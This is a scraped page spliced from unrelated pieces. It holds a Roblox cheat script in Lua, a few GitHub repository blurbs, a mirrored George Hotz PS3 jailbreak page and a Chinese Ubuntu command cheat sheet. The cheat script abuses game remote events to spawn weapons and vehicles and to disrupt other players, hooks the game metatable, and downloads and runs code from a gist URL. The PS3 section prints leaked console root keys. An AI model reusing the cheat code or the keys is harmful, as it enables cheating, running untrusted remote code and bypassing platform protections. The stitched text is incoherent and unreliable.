green")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Pink")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Really Red")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Cocoa")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Rust")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","GGA brown")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Fawn Brown")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Brown")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Yellow")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Lime Green")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Bright blue")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","New Yeller")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Deep orange")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Eath green")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Navy blue")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Pastel light blue")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Really blue")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Magenta")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Mulberry")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Dark nougat")wait(.20)game:GetService("ReplicatedStorage").RemoteEvents.UpdateAvatar51143:FireServer("skintone","Really Black")end end end)c:Button("FE Big Character",function()local s={[1]="Whatever1"}game:GetService("ReplicatedStorage").RemoteEvents.AvatarOriginalCharacterClient92731:FireServer(unpack(s))wait(1)if game.Players.LocalPlayer.Character.Humanoid.BodyTypeScale.Value<1 or game.Players.LocalPlayer.Character.Humanoid.BodyProportionScale.Value<1 or game.Players.LocalPlayer.Character.Humanoid.BodyWidthScale.Value<1 or game.Players.LocalPlayer.Character.Humanoid.BodyDepthScale.Value<1 then game:GetService("StarterGui"):SetCore("SendNotification",{Title="FE Big Character",Text="You should do Requirements to This Script Work",Duration=4})wait(2)game:GetService("StarterGui"):SetCore("SendNotification",{Title="Video Link",Text=" Watch this Short video to Learn how to Use This Script Link Copied!",Duration=15})wait(1)setclipboard("https://www.youtube.com/watch?v=jpBxiBDRFW0")else local aq=game:GetService("Players").LocalPlayer;local Z=aq.Character;local ar=Z:FindFirstChildOfClass("Humanoid")function rm()for l,m in pairs(Z:GetDescendants())do if m:IsA("BasePart")then if m.Name=="Handle"or m.Name=="Head"then if Z.Head:FindFirstChild("OriginalSize")then Z.Head.OriginalSize:Destroy()end else for l,as in pairs(m:GetDescendants())do if as:IsA("Attachment")then if as:FindFirstChild("OriginalPosition")then as.OriginalPosition:Destroy()end end end;m:FindFirstChild("OriginalSize"):Destroy()if m:FindFirstChild("AvatarPartScaleType")then m:FindFirstChild("AvatarPartScaleType"):Destroy()end end end end end;rm()wait(0.5)ar:FindFirstChild("BodyProportionScale"):Destroy()wait(1)rm()wait(0.5)ar:FindFirstChild("BodyHeightScale"):Destroy()wait(1)rm()wait(0.5)ar:FindFirstChild("BodyWidthScale"):Destroy()wait(1)rm()wait(0.5)ar:FindFirstChild("BodyDepthScale"):Destroy()wait(1)rm()wait()wait(0.5)ar:FindFirstChild("HeadScale"):Destroy()wait(1)end end)c:Button("FE Big Head",function()for l,m in pairs(game.Players.LocalPlayer.Character.Humanoid:GetChildren())do if string.find(m.Name,"Scale")and m.Name~="HeadScale"then repeat wait()until game.Players.LocalPlayer.Character.Head:FindFirstChild("OriginalSize")game.Players.LocalPlayer.Character.Head.OriginalSize:Destroy()m:Destroy()game.Players.LocalPlayer.Character.Head:WaitForChild("OriginalSize")game.Players.LocalPlayer.Character.Head.OriginalSize:Destroy()end end;game:GetService("StarterGui"):SetCore("SendNotification",{Title="FE Big Head Script",Text="You should Equip Junkbot Head to This Script Work, Junkbot Bundle Link Copied!",Duration=7})setclipboard("https://www.roblox.com/bundles/589/Junkbot")end)c:Button("FE Gravity Tool",function()loadstring(game:HttpGet("https://gist.githubusercontent.com/TurkOyuncu99/b7812fffdab17af75e51082d423d1bdc/raw/40a15d466f583a52a8dc9a72456dad90eb08eb94/hye",true))()game:GetService("StarterGui"):SetCore("SendNotification",{Title="FE Gravity Tool",Text="Only Works on Unanchored Things",Duration=4})end)b:Toggle("Spawn Brick",false,function(at)getgenv().trinkv245ets=at;while wait()do if getgenv().trinkv245ets then for l,m in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren())do m:Destroy()end;while wait()do local s={[1]="PickingTools",[2]="Taser"}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))break end end end end)b:Toggle("Enable Brick Spam",false,function(au)getgenv().xxxvvvvcyb=au;while wait()do if getgenv().xxxvvvvcyb then for E,m in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do m.Parent=game.Players.LocalPlayer.Character;for l,m in pairs(game:GetService("Players").LocalPlayer.Character:GetDescendants())do if m:IsA("Tool")or m:IsA("HopperBin")then if m.Handle:FindFirstChild("Mesh")then m.Handle.Mesh:Destroy()end;m.Parent=game:GetService("Workspace")end end end end end end)e:Label("Give To Yourself",Color3.fromRGB(127,143,166))local av=e:Dropdown("Give Yourself Item",{"Iphone","Camcorder","BabyBoy","BabyGirl","Wagon","Sign","Syringe","Ear","Trophy","Taser","SWATShield","Cuffs","Glock","Shotgun","Assault","Sniper","Bomb","DuffleBagMoney","Money","CreditCardBoy","CreditCardGirl","Umbrella","Roses","Present","SoccerBall","Apple","Chips","Bloxaide","Milk"},function(aw)local s={[1]="PickingTools",[2]=aw}game:GetService("ReplicatedStorage").RemoteEvents.Tools98748:InvokeServer(unpack(s))end)b:Label("Server-Side Play Music",Color3.fromRGB(127,143,166))b:Box("House Play Music",function(ax,ay)if ay then game:GetService("ReplicatedStorage").RemoteEvents.PlayersHouse:FireServer("PickingHouseMusicText",ax)end end)b:Box("FE Play Song",function(az,aA)if aA then game:GetService("ReplicatedStorage").GunSounds:FireServer(game.Players,az,1)local aB=game.Workspace;local aC=az;local aD=1;local aE='Sounding'local aF=false;local aG=Instance.new("Sound",aB)aG.SoundId='rbxassetid://'..aC;aG.Volume=1;aG.Name=aE;aG.Looped=aF;aG.Playing=true end end)b:Button("FE Scare All Players",function()game:GetService("ReplicatedStorage").GunSounds:FireServer(game.Players,7083236436,1)local aB=game.Workspace;local aC=7083236436;local aD=1;local aE='Sounding'local aF=false;local aG=Instance.new("Sound",aB)aG.SoundId='rbxassetid://'..aC;aG.Volume=1;aG.Name=aE;aG.Looped=aF;aG.Playing=true end)f:Label("Car Upgrade Gamepass",Color3.fromRGB(127,143,166))f:Toggle("Rainbow Car",false,function(aH)getgenv().seninnnf=aH;while wait()do if getgenv().seninnnf then game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(1,20.100007,0.018725))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(0,1,0.26709))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(1,0.70086,0.411722))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(0.753103,0.142167,1))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(0.938496,1,0.0076676))wait(.10)game:GetService("ReplicatedStorage").RemoteEvents.PlayersCar:FireServer("PickingCarColor",Color3.new(1,0.289824,0.841549))end end end)f:Label("Instant Spawn Cars",Color3.fromRGB(127,143,166))f:Button("Scooter",function()local s={[1]="PickingCar",[2]="ScooterVehicle"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("NPHarleyDavison",function()local s={[1]="PickingCar",[2]="NPHarleyDavison"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Cadillac",function()local s={[1]="PickingCar",[2]="Cadillac"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("CopChallenger",function()local s={[1]="PickingCar",[2]="CopChallenger"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Challenger",function()local s={[1]="PickingCar",[2]="Challenger"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Bus",function()local s={[1]="PickingCar",[2]="Bus"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Jeep",function()local s={[1]="PickingCar",[2]="Jeep"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("FireTruck",function()local s={[1]="PickingCar",[2]="FireTruck"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("CopUnderCoverSUV",function()local s={[1]="PickingCar",[2]="CopUnderCoverSUV"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("GolfCart",function()local s={[1]="PickingCar",[2]="GolfCart"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("Van",function()local s={[1]="PickingCar",[2]="Van"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("CopSUV",function()local s={[1]="PickingCar",[2]="CopSUV"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("FordGT",function()local s={[1]="PickingCar",[2]="FordGT"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Button("RV",function()local s={[1]="PickingCar",[2]="RV"}game:GetService("ReplicatedStorage").RemoteEvents.Car77613:FireServer(unpack(s))end)f:Label("Car Settings",Color3.fromRGB(127,143,166))f:Box("Car Speed",function(aI,aJ)if aJ then local aK=getrawmetatable(game)make_writeable(aK)local aL=aK.__index;aK.__index=function(aM,aN)if tostring(aM)=="TopSpeed"then if tostring(aN)=="Value"then return aI end end;return aL(aM,aN)end end end)a:Keybind("Tab")game:GetService("StarterGui"):SetCore("SendNotification",{Title="Important",Text="This Scripts Made By ameicaa,",Duration=20})
marijohannessen
A simple tool for calculating the contrast ratio between two HEX values. Based on WCAG 2.0 Level AA standards.
Azure
Atomic Azure CLI Dev Tools
Aliyan-Haxo
This page is a mirror of the former content of http://www.geohot.com/ as at 26 January 2011, removed following a Sony lawsuit. All content outside of the black areas is from George Hotz, not me. His original site now contains details of the unjust lawsuit against him, which was settled on 11 April 2011. NEW 2012-10-25! Here is the announcement by The Three Musketeers on 22 October 2012 of their leak of the PlayStation 3 bootldr keys. UPDATED 2012-10-25! The first binary download site for Mr Wicked's SACD Ripper. This is what PS3 homebrew is all about: using the PS3 for legitimate purposes that Sony would never allow – format-shifting from the dying SACD medium to open file formats playable on commodity PCs. Download beta version 0.21 (r275) which works stand-alone, or version 0.30 (r315) now called sacd-daemon, which works over a network with companion client software SACD Extract. You will also need a recent custom firmware such as OtherOS++ and the PS3 root keys. erk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 1B riv: 47 EE 74 54 E4 77 4C C9 B8 96 0C 7B 59 F4 C1 4D pub: C2 D4 AA F3 19 35 50 19 AF 99 D4 4E 2B 58 CA 29 25 2C 89 12 3D 11 D6 21 8F 40 B1 38 CA B2 9B 71 01 F3 AE B7 2A 97 50 19 R: 80 6E 07 8F A1 52 97 90 CE 1A AE 02 BA DD 6F AA A6 AF 74 17 n: E1 3A 7E BC 3A CC EB 1C B5 6C C8 60 FC AB DB 6A 04 8C 55 E1 K: BA 90 55 91 68 61 B9 77 ED CB ED 92 00 50 92 F6 6C 7A 3D 8D Da: C5 B2 BF A1 A4 13 DD 16 F2 6D 31 C0 F2 ED 47 20 DC FB 06 70 ~geohot props to fail0verflow for the asymmetric half no donate link, just use this info wisely i do not condone piracy if you want your next console to be secure, get in touch with me. any of you 3. it'd be fun to be on the other side. ...and this is a real self, hello world although it's not NPDRM, so it won't run off the hard drive shouts to the guys who did PSL1GHT without you, I couldn't release this first piece of homebrew you can run put in service mode, put on usb stick, boot [1] I made a video [2] it's jailbreak time open the zip, you know how to install 3.55 only would be pirates, don't waste your time do not mirror file, link to geohot.com [3] no donations accepted right now, don't get scammed homebrew signing tools and source [4] make_self_npdrm makes valid NPDRM selfs from elfs it does not contain any info on decrypting or removing NPDRM NPDRM is required for interoperability of our homebrew applications package_finalize turns your debug packages into psuedoretail packages psuedoretail packages install on a geohot jailbroken PS3 i'm excited to see what you will create open source SDK @ PSL1GHT [1] This grey text is from an earlier version of the Web site, as at 4 January. Although it shows George in a less favourable light, it is important because Sony has used it against him in their lawsuit. [2] The YouTube video link, which is now private, has been replaced with another YouTube user's copy, and for good measure we have a local copy too. [3] Actually do mirror widely... but be careful. [4] The github repository linked from the original page is down; so the "source" link now goes to a fork of it. A zipfile of that repository is also available just in case. The greyed-out tools link was only online for a few days, between about 8 and 11 January. To contact me (not geohot), email wdnqg3ehh3hvalpe at tormail.net* (easy to remember, as it's the same as the hostname of this site). My Bitcoin address for donations is 1C9KqYU8DC3dCfKPctT3RdcbGJpx6abYKn. * As at 4 August 2013, tormail has been compromised and is down.
subranag
Mock-A-🦘 (mock-aa-roo) a comprehensive HTTP/HTTPS interface mocking tool for all your development and testing needs!
andrey214
Various hdas (Houdini Digital Assets)
microsoft
Tooling for application credentials
ZeromusXYZ
Tools to help manage AAEmu server
KL-Psychological-Methodology
ESMira is a tool for running longitudinal studies (ESM, AA, EMA, ...) with data collection and communication with participants being completely anonymous.
SmileShow-DH
查看软件xxx安装内容 #dpkg -L xxx 查找软件 #apt-cache search 正则表达式 查找文件属于哪个包 #dpkg -S filename apt-file search filename 查询软件xxx依赖哪些包 #apt-cache depends xxx 查询软件xxx被哪些包依赖 #apt-cache rdepends xxx 增加一个光盘源 #sudo apt-cdrom add 系统升级 #sudo apt-get update #sudo apt-get upgrade #sudo apt-get dist-upgrade 清除所以删除包的残余配置文件 #dpkg -l |grep ^rc|awk ‘{print $2}’ |tr [”"n”] [” “]|sudo xargs dpkg -P - 编译时缺少h文件的自动处理 #sudo auto-apt run ./configure 查看安装软件时下载包的临时存放目录 #ls /var/cache/apt/archives 备份当前系统安装的所有包的列表 #dpkg –get-selections | grep -v deinstall > ~/somefile 从上面备份的安装包的列表文件恢复所有包 #dpkg –set-selections < ~/somefile sudo dselect 清理旧版本的软件缓存 #sudo apt-get autoclean 清理所有软件缓存 #sudo apt-get clean 删除系统不再使用的孤立软件 #sudo apt-get autoremove 查看包在服务器上面的地址 #apt-get -qq –print-uris install ssh | cut -d"’ -f2 ------------------------------------------------系统------------------------------------------------ 查看内核 #uname -a 查看Ubuntu版本 #cat /etc/issue 查看内核加载的模块 #lsmod 查看PCI设备 #lspci 查看USB设备 #lsusb 查看网卡状态 #sudo ethtool eth0 查看CPU信息 #cat /proc/cpuinfo 显示当前硬件信息 #lshw ------------------------------------------------硬盘------------------------------------------------ 查看硬盘的分区 #sudo fdisk -l 查看IDE硬盘信息 #sudo hdparm -i /dev/hda 查看STAT硬盘信息 #sudo hdparm -I /dev/sda 或 #sudo apt-get install blktool #sudo blktool /dev/sda id 查看硬盘剩余空间 #df -h #df -H 查看目录占用空间 #du -hs 目录名 优盘没法卸载 #sync fuser -km /media/usbdisk ------------------------------------------------内存------------------------------------------------ 查看当前的内存使用情况 #free -m 进程查看当前有哪些进程 #ps -A 中止一个进程 #kill 进程号(就是ps -A中的第一列的数字) 或者 killall 进程名 强制中止一个进程(在上面进程中止不成功的时候使用) #kill -9 进程号 或者 killall -9 进程名 图形方式中止一个程序 #xkill 出现骷髅标志的鼠标,点击需要中止的程序即可 查看当前进程的实时状况 #top 查看进程打开的文件 #lsof -p ADSL 配置 ADSL #sudo pppoeconf ADSL手工拨号 #sudo pon dsl-provider 激活 ADSL #sudo /etc/ppp/pppoe_on_boot 断开 ADSL #sudo poff 查看拨号日志 #sudo plog 如何设置动态域名 #首先去http://www.3322.org申请一个动态域名 #然后修改 /etc/ppp/ip-up 增加拨号时更新域名指令 sudo vim /etc/ppp/ip-up #在最后增加如下行 w3m -no-cookie -dump ------------------------------------------------网络------------------------------------------------ 根据IP查网卡地址 #arping IP地址 查看当前IP地址 #ifconfig eth0 |awk ‘/inet/ {split($2,x,”:”);print x[2]}’ 查看当前外网的IP地址 #w3m -no-cookie -dumpwww.edu.cn|grep-o‘[0-9]"{1,3"}".[0-9]"{1,3"}".[0-9]"{1,3"}".[0-9]"{1,3"}’ #w3m -no-cookie -dumpwww.xju.edu.cn|grep-o’[0-9]"{1,3"}".[0-9]"{1,3"}".[0-9]"{1,3"}".[0-9]"{1,3"}’ #w3m -no-cookie -dump ip.loveroot.com|grep -o’[0-9]"{1,3"}".[0-9]"{1,3"}".[0-9]"{1,3"}".[0-9]"{1,3"}’ 查看当前监听80端口的程序 #lsof -i :80 查看当前网卡的物理地址 #arp -a | awk ‘{print $4}’ ifconfig eth0 | head -1 | awk ‘{print $5}’ 立即让网络支持nat #sudo echo 1 > /proc/sys/net/ipv4/ip_forward #sudo iptables -t nat -I POSTROUTING -j MASQUERADE 查看路由信息 #netstat -rn sudo route -n 手工增加删除一条路由 #sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1 #sudo route del -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1 修改网卡MAC地址的方法 #sudo ifconfig eth0 down 关闭网卡 #sudo ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE 然后改地址 #sudo ifconfig eth0 up 然后启动网卡 统计当前IP连接的个数 #netstat -na|grep ESTABLISHED|awk ‘{print $5}’|awk -F: ‘{print $1}’|sort|uniq -c|sort -r -n #netstat -na|grep SYN|awk ‘{print $5}’|awk -F: ‘{print $1}’|sort|uniq -c|sort -r -n 统计当前20000个IP包中大于100个IP包的IP地址 #tcpdump -tnn -c 20000 -i eth0 | awk -F “.” ‘{print $1″.”$2″.”$3″.”$4}’ | sort | uniq -c | sort -nr | awk ‘ $1 > 100 ‘ 屏蔽IPV6 #echo “blacklist ipv6″ | sudo tee /etc/modprobe.d/blacklist-ipv6 ------------------------------------------------服务------------------------------------------------ 添加一个服务 #sudo update-rc.d 服务名 defaults 99 删除一个服务 #sudo update-rc.d 服务名 remove 临时重启一个服务 #/etc/init.d/服务名 restart 临时关闭一个服务 #/etc/init.d/服务名 stop 临时启动一个服务 #/etc/init.d/服务名 start ------------------------------------------------设置------------------------------------------------ 配置默认Java使用哪个 #sudo update-alternatives –config java 修改用户资料 #sudo chfn userid 给apt设置代理 #export http_proxy=http://xx.xx.xx.xx:xxx 修改系统登录信息 #sudo vim /etc/motd ------------------------------------------------中文------------------------------------------------ 转换文件名由GBK为UTF8 #sudo apt-get install convmv convmv -r -f cp936 -t utf8 –notest –nosmart * 批量转换src目录下的所有文件内容由GBK到UTF8 #find src -type d -exec mkdir -p utf8/{} "; find src -type f -exec iconv -f GBK -t UTF-8 {} -o utf8/{} "; mv utf8/* src rm -fr utf8 转换文件内容由GBK到UTF8 #iconv -f gbk -t utf8 $i > newfile 转换 mp3 标签编码 #sudo apt-get install python-mutagen find . -iname “*.mp3” -execdir mid3iconv -e GBK {} "; 控制台下显示中文 #sudo apt-get install zhcon 使用时,输入zhcon即可 ------------------------------------------------文件------------------------------------------------ 快速查找某个文件 #whereis filename #find 目录 -name 文件名 查看文件类型 #file filename 显示xxx文件倒数6行的内容 #tail -n 6 xxx 让tail不停地读地最新的内容 #tail -n 10 -f /var/log/apache2/access.log 查看文件中间的第五行(含)到第10行(含)的内容 #sed -n ‘5,10p’ /var/log/apache2/access.log 查找包含xxx字符串的文件 #grep -l -r xxx . 全盘搜索文件(桌面可视化) gnome-search-tool 查找关于xxx的命令 #apropos xxx man -k xxx 通过ssh传输文件 #scp -rp /path/filenameusername@remoteIP:/path #将本地文件拷贝到服务器上 #scp -rpusername@remoteIP:/path/filename/path #将远程文件从服务器下载到本地 查看某个文件被哪些应用程序读写 #lsof 文件名 把所有文件的后辍由rm改为rmvb #rename ’s/.rm$/.rmvb/’ * 把所有文件名中的大写改为小写 #rename ‘tr/A-Z/a-z/’ * 删除特殊文件名的文件,如文件名:–help.txt #rm — –help.txt 或者 rm ./–help.txt 查看当前目录的子目录 #ls -d */. 或 echo */. 将当前目录下最近30天访问过的文件移动到上级back目录 #find . -type f -atime -30 -exec mv {} ../back "; 将当前目录下最近2小时到8小时之内的文件显示出来 #find . -mmin +120 -mmin -480 -exec more {} "; 删除修改时间在30天之前的所有文件 #find . -type f -mtime +30 -mtime -3600 -exec rm {} "; 查找guest用户的以avi或者rm结尾的文件并删除掉 #find . -name ‘*.avi’ -o -name ‘*.rm’ -user ‘guest’ -exec rm {} "; 查找的不以java和xml结尾,并7天没有使用的文件删除掉 #find . ! -name *.java ! -name ‘*.xml’ -atime +7 -exec rm {} "; 统计当前文件个数 #ls /usr/bin|wc -w 统计当前目录个数 #ls -l /usr/bin|grep ^d|wc -l 显示当前目录下2006-01-01的文件名 #ls -l |grep 2006-01-01 |awk ‘{print $8}’ ------------------------------------------------FTP------------------------------------------------ 上传下载文件工具-filezilla #sudo apt-get install filezilla filezilla无法列出中文目录? 站点->字符集->自定义->输入:GBK 本地中文界面 1)下载filezilla中文包到本地目录,如~/ 2)#unrar x Filezilla3_zhCN.rar 3) 如果你没有unrar的话,请先安装rar和unrar #sudo apt-get install rar unrar #sudo ln -f /usr/bin/rar /usr/bin/unrar 4)先备份原来的语言包,再安装;实际就是拷贝一个语言包。 #sudo cp /usr/share/locale/zh_CN/filezilla.mo /usr/share/locale/zh_CN/filezilla.mo.bak #sudo cp ~/locale/zh_CN/filezilla.mo /usr/share/locale/zh_CN/filezilla.mo 5)重启filezilla,即可! --------------------------------------解压缩--------------------------------------------- 解压缩 xxx.tar.gz #tar -zxvf xxx.tar.gz 解压缩 xxx.tar.bz2 #tar -jxvf xxx.tar.bz2 压缩aaa bbb目录为xxx.tar.gz #tar -zcvf xxx.tar.gz aaa bbb 压缩aaa bbb目录为xxx.tar.bz2 #tar -jcvf xxx.tar.bz2 aaa bbb 解压缩 RAR 文件 1) 先安装 #sudo apt-get install rar unrar #sudo ln -f /usr/bin/rar /usr/bin/unrar 2) 解压 #unrar x aaaa.rar 解压缩 ZIP 文件 1) 先安装 #sudo apt-get install zip unzip #sudo ln -f /usr/bin/zip /usr/bin/unzip 2) 解压 #unzip x aaaa.zip Nautilus 显示隐藏文件 Ctrl+h 显示地址栏 Ctrl+l 特殊 URI 地址 * computer:/// - 全部挂载的设备和网络 * network:/// - 浏览可用的网络 * burn:/// - 一个刻录 CDs/DVDs 的数据虚拟目录 * smb:/// - 可用的 windows/samba 网络资源 * x-nautilus-desktop:/// - 桌面项目和图标 *file:///- 本地文件 * trash:/// - 本地回收站目录 * ftp:// - FTP 文件夹 * ssh:// - SSH 文件夹 * fonts:/// - 字体文件夹,可将字体文件拖到此处以完成安装 * themes:/// - 系统主题文件夹 查看已安装字体 在nautilus的地址栏里输入”fonts:///“,就可以查看本机所有的fonts --------------------------------------程序 -------------------------------------- 详细显示程序的运行信息 #strace -f -F -o outfile 日期和时间 设置日期 #date -s mm/dd/yy 设置时间 #date -s HH:MM 将时间写入CMOS #hwclock –systohc 读取CMOS时间 #hwclock –hctosys 从服务器上同步时间 #sudo ntpdate time.nist.gov #sudo ntpdate time.windows.com 控制台 不同控制台间切换 Ctrl + ALT + ← Ctrl + ALT + → 指定控制台切换 Ctrl + ALT + Fn(n:1~7) 控制台下滚屏 SHIFT + pageUp/pageDown 控制台抓图 #setterm -dump n(n:1~7) --------------------------------------数据库 -------------------------------------- mysql的数据库存放在地方 #/var/lib/mysql 从mysql中导出和导入数据 #mysqldump 数据库名 > 文件名 #导出数据库 #mysqladmin create 数据库名 #建立数据库 #mysql 数据库名 < 文件名 #导入数据库 忘了mysql的root口令怎么办 #sudo /etc/init.d/mysql stop #sudo mysqld_safe –skip-grant-tables #sudo mysqladmin -u user password ‘newpassword” #sudo mysqladmin flush-privileges 修改mysql的root口令 #sudo mysqladmin -uroot -p password ‘你的新密码’ --------------------------------------其它 -------------------------------------- 下载网站文档 #wget -r -p -np -khttp://www.21cn.com · r:在本机建立服务器端目录结构; · -p: 下载显示HTML文件的所有图片; · -np:只下载目标站点指定目录及其子目录的内容; · -k: 转换非相对链接为相对链接。 如何删除Totem电影播放机的播放历史记录 #rm ~/.recently-used 如何更换gnome程序的快捷键 点击菜单,鼠标停留在某条菜单上,键盘输入任意你所需要的键,可以是组合键,会立即生效; 如果要清除该快捷键,请使用backspace vim 如何显示彩色字符 #sudo cp /usr/share/vim/vimcurrent/vimrc_example.vim /usr/share/vim/vimrc 如何在命令行删除在会话设置的启动程序 #cd ~/.config/autostart rm 需要删除启动程序 如何提高wine的反应速度 #sudo sed -ie ‘/GBK/,/^}/d’ /usr/share/X11/locale/zh_CN.UTF-8/XLC_LOCALE #chgrp [语法]: chgrp [-R] 文件组 文件… [说明]: 文件的GID表示文件的文件组,文件组可用数字表示, 也可用一个有效的组名表示,此命令改变一个文件的GID,可参看chown。 -R 递归地改变所有子目录下所有文件的存取模式 [例子]: #chgrp group file 将文件 file 的文件组改为 group #chmod [语法]: chmod [-R] 模式 文件… 或 chmod [ugoa] {+|-|=} [rwxst] 文件… [说明]: 改变文件的存取模式,存取模式可表示为数字或符号串,例如: #chmod nnnn file , n为0-7的数字,意义如下: 4000 运行时可改变UID 2000 运行时可改变GID 1000 置粘着位 0400 文件主可读 0200 文件主可写 0100 文件主可执行 0040 同组用户可读 0020 同组用户可写 0010 同组用户可执行 0004 其他用户可读 0002 其他用户可写 0001 其他用户可执行 nnnn 就是上列数字相加得到的,例如 chmod 0777 file 是指将文件 file 存取权限置为所有用户可读可写可执行。 -R 递归地改变所有子目录下所有文件的存取模式 u 文件主 g 同组用户 o 其他用户 a 所有用户 + 增加后列权限 - 取消后列权限 = 置成后列权限 r 可读 w 可写 x 可执行 s 运行时可置UID t 运行时可置GID [例子]: #chmod 0666 file1 file2 将文件 file1 及 file2 置为所有用户可读可写 #chmod u+x file 对文件 file 增加文件主可执行权限 #chmod o-rwx 对文件file 取消其他用户的所有权限 #chown [语法]: chown [-R] 文件主 文件… [说明]: 文件的UID表示文件的文件主,文件主可用数字表示, 也可用一个有效的用户名表示,此命令改变一个文件的UID,仅当此文件的文件主或超级用户可使用。 -R 递归地改变所有子目录下所有文件的存取模式 [例子]: #chown mary file 将文件 file 的文件主改为 mary #chown 150 file 将文件 file 的UID改为150 Ubuntu命令行下修改网络配置 以eth0为例 1. 以DHCP方式配置网卡 编辑文件/etc/network/interfaces: #sudo vi /etc/network/interfaces 并用下面的行来替换有关eth0的行: # The primary network interface - use DHCP to find our address auto eth0 iface eth0 inet dhcp 用下面的命令使网络设置生效: #sudo /etc/init.d/networking restart 当然,也可以在命令行下直接输入下面的命令来获取地址 #sudo dhclient eth0 2. 为网卡配置静态IP地址 编辑文件/etc/network/interfaces: #sudo vi /etc/network/interfaces 并用下面的行来替换有关eth0的行: # The primary network interface auto eth0 iface eth0 inet static address 192.168.3.90 gateway 192.168.3.1 netmask 255.255.255.0 network 192.168.3.0 broadcast 192.168.3.255 将上面的ip地址等信息换成你自己就可以了. 用下面的命令使网络设置生效: #sudo /etc/init.d/networking restart 3. 设定第二个IP地址(虚拟IP地址) 编辑文件/etc/network/interfaces: #sudo vi /etc/network/interfaces 在该文件中添加如下的行: auto eth0:1 iface eth0:1 inet static address 192.168.1.60 netmask 255.255.255.0 network x.x.x.x broadcast x.x.x.x gateway x.x.x.x 根据你的情况填上所有诸如address,netmask,network,broadcast和gateways等信息. 用下面的命令使网络设置生效: #sudo /etc/init.d/networking restart 4. 设置主机名称(hostname) 使用下面的命令来查看当前主机的主机名称: #sudo /bin/hostname 使用下面的命令来设置当前主机的主机名称: #sudo /bin/hostname newname 系统启动时,它会从/etc/hostname来读取主机的名称. 5. 配置DNS 首先,你可以在/etc/hosts中加入一些主机名称和这些主机名称对应的IP地址,这是简单使用本机的静态查询. 要访问DNS 服务器来进行查询,需要设置/etc/resolv.conf文件. 假设DNS服务器的IP地址是192.168.3.2, 那么/etc/resolv.conf文件的内容应为: search test.com nameserver 192.168.3.2 --------------------------------------安装AMP服务 -------------------------------------- 如果采用Ubuntu Server CD开始安装时,可以选择安装,这系统会自动装上apache2,php5和mysql5。下面主要说明一下如果不是安装的Ubuntu server时的安装方法。 用命令在Ubuntu下架设Lamp其实很简单,用一条命令就完成。在终端输入以下命令: #sudo apt-get install apache2 mysql-server php5 php5-mysql php5-gd #phpmyadmin 装好后,mysql管理员是root,无密码,通过http://localhost/phpmyadmin就可以访问mysql了 修改 MySql 密码 终端下输入: #mysql -u root #mysql> GRANT ALL PRIVILEGES ON *.* TO root@localhost 